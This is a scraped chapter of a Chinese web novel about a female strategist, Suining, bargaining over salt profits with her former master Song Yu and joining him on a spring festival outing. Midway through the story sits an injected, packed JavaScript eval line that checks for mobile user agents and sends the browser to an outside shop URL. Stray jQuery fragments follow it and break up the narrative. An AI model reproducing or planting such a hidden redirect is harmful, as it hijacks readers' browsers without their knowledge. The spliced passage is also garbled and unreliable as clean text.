14. 春山朗朗,回首故人亭亭

作品:《这个谋士她正经吗

    咸和四年冬,大寒。


    诸夏地势自北向南而倾,风雪如寒刃过境,淮水冰封绵延百里,万里霜国千里无垠。因饥寒死去的灾民多如雪片,难以数清。


    然而朱门里的人不看这脚下,不看这世间。


    他们围着火炉,烤着鹿肉,聊陆氏的三公子在赌坊输了多少银钱,聊宋府的上任管事是否真的是宋绍君杀的。最后聊到徐家善妒的杨夫人,因滑胎伤了身子,没熬过这个冬日。


    众人嗟乎:“悲矣!”


    又有人说:“言若螽斯,不妒忌,则子孙众多矣。①既善妒,难怪无子无福。”


    于是众人又点头称:“是哉是哉。”


    他们也同样不见,某位儒生提笔的手如今又要操兵器,领着一众流民兵迎着风雪北上戍疆。染了重病的幕僚倚在榻上,亲自将济灾的每一笔账都算清。至于那位名声不怎么好的公子,也同族中长辈亲赴民间救灾。


    无论是染了伤寒蜷居在榻上的病人,还是因一场寒灾散去了许多家财的贵公子,都觉得这个寒冬无比漫长。


    待到开春回暖时,一众人已经心力交瘁了。


    岁宁尚不知怀着怎样的心情去见他,那位故人,便已经亲自上门来了。


    可故人不曾怨怼她几次三番的算计,却在这久别重逢的时日,珍而重之地询问她的名字。


    于是她用指尖沾着茶水,在案上一笔一画地写下,“岁宁,便是岁岁安宁。这二字,你曾见过的。”


    像初见那般,又早不似初见了。


    宋聿哑然道:“我记得的。”


    她也记得当年,手中砖块砸下去的时候,没有半分犹豫。


    “公子额上落了疤吗?”岁宁注视着他的舒眉朗目,忍不住伸手去解他的抹额。


    “没有。”宋聿往后退了半步,拦下了她不安分的手。


    “那便好......”岁宁轻晃着杯中茶水,一片玉兰花瓣不偏不倚地落入了杯里,她平静地将花瓣捏了出去,又轻抿一口梨茶。


    见他半晌不应,岁宁便又说了句:“当真是对不住......”她心中当真有愧吗?不多,仅有那么一点吧。


    可她不是宋聿那样的人,自然会容许自己心中有愧。


    她口中言语淡漠又疏离,“我还以为像公子这般薄情之人,记挂不了我几年。”


    当初是谁薄情撇下他一走了之?任他倒在雪里,连一片衣角也抓不到。听她说自己薄情,宋聿再度开口,竟一改往日的柔和,“那么你呢?当时分明都跑了,如今又成了陆氏的家奴吗?”


    “家奴?”这二字忽有一瞬刺痛了她的心,“原来宋公子一直都是这样看我的啊......”


    “我并非此意......”


    可岁宁不听他其后的解释,自顾自起身在院中来回踱步。


    “曾经在常青院,公子以为,我是你的人。夫人也以为,我是她的人。可我,为何不能只是我自己呢?”


    宋聿听她说得无比认真,看她一步步把曾经折在冰天雪地里的背脊直起。


    宋聿不问眼前人为何相望故作不相识,为何宋府与陆府只隔了城南到城北的距离,她却从不来见他一面。他只问:“那么你又为何骗我,许下经年之约?”


    “我一个庶人,无法学着君子践诺,更不敢向着贵人行善。我说的话,怎么可信?”岁宁唇角挂着笑,眼中却只剩薄情,“那时的我,只想活下去。”


    “如今你过得可好?你可愿意随我离开?”宋聿瞧见她眼中的憔悴,倒一点儿也生不起气来。


    他不像从前那么好诓骗了。


    “公子死了这条心吧。陆宣于我有知遇之恩,我与他之间,只容得下共同利益。倘有一日,我不再忠于他,只会死得比流民更惨。”她立在高大的玉兰树下,回头看他,“这是我自己选的路,怨不得旁人。”


    “你今日来见我,是为叙旧而来吗?”她是以陆府幕僚的身份同他交涉,不愿叙那主仆旧情了。


    宋聿移目不去看她,只道:“你更似从前,只谈交易,那么条件呢?”


    岁宁有些惊讶,“这个条件,自然由公子来提。”


    他问:“若我的条件与你有关呢?”


    岁宁却轻笑着,“公子显然不是会趁人之危的人。”


    “能否先告诉我,以陆府的家业,陆宣为何执着于这分盐利?”


    “他要养兵。”


    宋聿一阵思量,道:“他野心倒是不小?若是出了什么谋乱之事,想来我也逃不了干系。”


    “这几年大大小小的叛乱,公子应当比我清楚。”岁宁缓步移至案前坐下,伸手攥住了他的外袍,细细分析道,“流民兵可用,流民帅却不可信,所以他才揽了这份世家子弟都看不上的差事。陆宣那样的人,怎会起谋逆之心呢?”


    他的生母便是死于三年前那场流民帅反叛。


    “你自是偏向他的。”宋聿盯着她的手,轻笑一声,不动声色地将外袍抽了回来。


    岁宁满眼含笑看向宋聿,轻言细语道:“若公子愿同陆氏合作,偏向你也未尝不可。”


    此言一出,宋聿被茶水呛得直咳嗽,“现在的谋士,都像你这般没底线吗?”竟想着事二主。


    岁宁不理会他的质疑,追问道:“公子意下如何?”


    “宋氏可以分给陆氏两成利,不过——需要你答应我一件事。”


    “那答应你两件事呢?可否多一成?”


    “做梦。”他眼角挂着淡淡的笑,杀价却是毫不留情,“两件事,两成利。”


    怎么还有这般还价的?岁宁赶忙闭了嘴。


    宋聿又补充道:“第二件事,算作是你弄翻我茶船的折损。”


    岁宁低声道:“这事,你怪陆延生去啊。”


    宋聿问:“你没在背后帮他出力吗?”


    “好好好,我答应你,可别再加价了。”岁宁一时赧然,没再辩驳了。


    宋聿递给她一份请柬,道:“三月初十,府中设了场春日小宴。荆南的过关文书,届时你亲自来宋府取。”


    “多谢公子。”岁宁低头接过那份请柬,没想到这么轻易便谈妥了,他甚至从未出言刁难。她松了一口气,心中却有淡淡的失望翻涌。


    宋聿起身拢了拢袖,理着被她抓皱的袖角,又回头看了她一眼。


    岁宁依旧坐在原处,只问:“公子要走了吗?”


    宋聿背过身去,微不可察地叹了口气:“分让万两盐利,才能见你一面。当真是比净山寺的佛还难请。”


    岁宁望着他的背影,一言未发。不去留贵客,也不送君归。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281802|151861||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    故人临走前,还留了一句话:“若是有一天你后悔了,我曾经的允诺,依旧作数。”


    他曾允诺过什么呢?那薄情的女子,不记得了。


    旧主前脚刚走,如今的上司又寻来了。岁宁心力交瘁地伏在案上,懒得起身迎接。


    陆宣见她神色恹恹,问:“没谈拢?”


    “谈拢了。”可她依旧垂着头叹气。


    “什么条件?”


    “宋公子让我答应他两件事。”


    “何事?”


    “他没说,只邀我初三日随他至淮水祓禊。”


    “你可知上巳同游意味着什么?”陆宣一挥长袂,神情愤慨,“没说你就敢答应?你就不怕他......”


    “二公子说的什么话?”岁宁敛了神色,端坐起身,“我可是正经的谋士,只献计不献身的。”


    “可......他若强迫于你呢?”


    “他不会是这般的人。”岁宁摇头驳道,“再者,这么个守身如玉的妙人非要献身于我,最后还送上万两盐利与过关文书,没有拒绝的道理。”


    “你......”陆宣被她噎得说不出话来。


    岁宁倦于和他争论这些,“不论条件如何,到底还是谈完了,二公子何必再计较这些?”


    陆宣又问:“你不会心系于他了吧?”


    岁宁矢口否认:“怎会?门第之见抛不开,这世间不会有一个高门子弟愿娶一个庶人,我又何必将心思放在他们身上?”


    听懂了她的言下之意,陆宣哑口无言。


    “二公子请自便。春日乏困,我想歇息了。”她面色苍白,难掩疲乏。


    那消瘦的身影起身请辞,踩过满地落花,消失在折回的连廊之中。


    暮春的风挟着轻微的暖意,江南草长,杂花生树。遥见层林浮翠,春山朗朗。


    三月初三,出游的花车停满了山道,水畔聚集了一众适婚的妙龄女郎与郎君。


    久病初愈的女子如弱柳般,任由宋聿搀扶着下了马车。


    岁宁透过幂篱的薄纱,眺望环山蔚蓝,夹岸桃杏春酣醉。


    宋聿的目光却只落于她身上。


    三年未见,故人已然亭亭玉立。幂篱遮去了面容,春衫如流云翩翩,腰间环佩叮当作响。她如今的举止与打扮倒是与世家的女公子无异了。


    从前总困于一方庭院,陆宣更不喜这样的郊游,这是岁宁第一次在上巳节这天来到淮水畔。这一次执着故人的手,去赴人间春三月。


    尽管那貌合神离的两人此时各有盘算。


    那双眼含情看向身侧的女子,唇边却挂着戏谑的笑:“陆宣竟会由你一个人来?”


    岁宁冷冷回道:“怎么?他没跟来,公子很失望?”


    宋聿微微颔首,“还真有些失望,毕竟平日里难得见他恼怒。”


    “惹恼了他,对你有什么好处?”


    宋聿冷笑:“你以为两家面上合作,背地里他们就不会使什么手段了么?陆氏可容不下我。”


    岁宁回以同样的颜色:“哦——原来公子亦是利用我,逼得陆延生先沉不住气啊。”


    “你难得出门一趟,想这些做什么?”还未等她继续开口,宋聿便牵起她的手往河畔走。


    ①出自《毛诗序》《螽斯》。